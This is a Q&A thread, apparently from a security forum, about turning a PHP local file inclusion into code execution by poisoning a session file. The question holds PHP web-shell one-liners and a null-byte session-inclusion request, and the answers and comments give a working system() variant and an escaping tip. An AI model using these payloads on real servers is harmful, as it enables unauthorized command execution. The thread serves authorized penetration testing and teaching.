2

Firstly, I make the obligatory disclaimer that everything I am doing here is legitimate and pre-authorized, etc., etc.

For those unfamiliar with user session local file inclusion in PHP, there's a nice example of it here in section 2.2.4: http://www.enye-sec.org/en/papers/web_vuln-en.txt

I am auditing a Web service that suffers an LFI vulnerability that can only be exploited via a session file include (I have no rights to read /proc/self/environs, Apache access/error logs, etc.). The contents of the original session file look like this (modified from the original for secrecy):

user|s:5:"user1";pass|s:4:"pass";sig|s:1:"0";

I can modify the sig parameter by using a proxy to intercept the Web traffic. For example, by changing sig=0 to sig=hello, I see:

user|s:5:"user1";pass|s:4:"pass";sig|s:5:"hello";

So far, so good. The problem comes when I try to inject PHP code instead of a text string. Using any of the code below, I see the same result:

<?php passthru($_GET['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php exec($_GET['cmd']); ?>

The session file registers the code string lengths correctly, but the contents are apparently filtered out.

user|s:5:"user1";pass|s:4:"pass";sig|s:28:"";

Either way, I cannot get my PHP code to run, as this returns nothing.

session=/tmp/sess_3ksjdx983klsjg1nsljd92lzs%00&cmd=uname -a

I feel like I'm missing something quite simple, but I'm not too experienced with PHP; thus, I'd very much appreciate any and all ideas.

5
  • How are you reading the contents of the session file? On the terminal or through the application itself? If it's the latter, then the PHP is getting executed, that's why it is not being shown. May 19, 2015 at 8:25
  • I'm reading the contents of the session file by exploiting the LFI; the application displays the contents of files included in such a manner. I don't think the code was being executed, as even <?php print system($_GET['cmd']); ?> showed nothing.
    – AK-33
    May 19, 2015 at 9:50
  • <?php exec($_GET['cmd']); ?> is exactly 28 bytes long. Maybe you should look at the source code instead of rendered output in your browser.
    – Gumbo
    Jul 18, 2015 at 18:06
  • Also note that many people do also call a simple file read a file inclusion although there is no include or one of its other variants involved, so no evaluation of PHP code.
    – Gumbo
    Jul 18, 2015 at 18:09
  • 1
    Either way, I cannot get my PHP code to run, as this returns nothing. I assume you've discounted the possibility that the site code is doing this on purpose - attempting to block the vulnerability?
    – Eborbob
    Aug 17, 2015 at 14:31

2 Answers 2

0

While I would still like to know why the $_GET['cmd'] part of the code seems to pose a problem, I did find a workaround. Instead of calling on a GET variable, it turns out I could just execute the commands I want directly:

<?php system('uname -a'); ?>

And the contents are displayed to the Web page in question.

0

It is possible that you've identified a path traversal and not a LFI. If the vulnerable code calls file_get_contents() instead of require() or include() it will not parse and execute php code contained within the file. As the php code resides between angle brackets < and > it will not be visible in the browser unless you view the page source.

3
  • This is a legitimate LFI. I was eventually able to exploit this vulnerability to get a shell on the target and access the Web page source code to confirm the insecure include() function. Why it doesn't play well with $_GET is just a mystery.
    – AK-33
    Aug 21, 2015 at 7:25
  • 1
    Most likely the string written to file is most likely interpoplated and it tries to write $_GET['cmd'] as a variable. You could probably bypass this by escaping the dollar symbol like this: \$_GET[['cmd']
    – wireghoul
    Aug 21, 2015 at 7:54
  • Thank you. I'll keep that in mind if and when I come across something like this again.
    – AK-33
    Aug 21, 2015 at 7:59

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .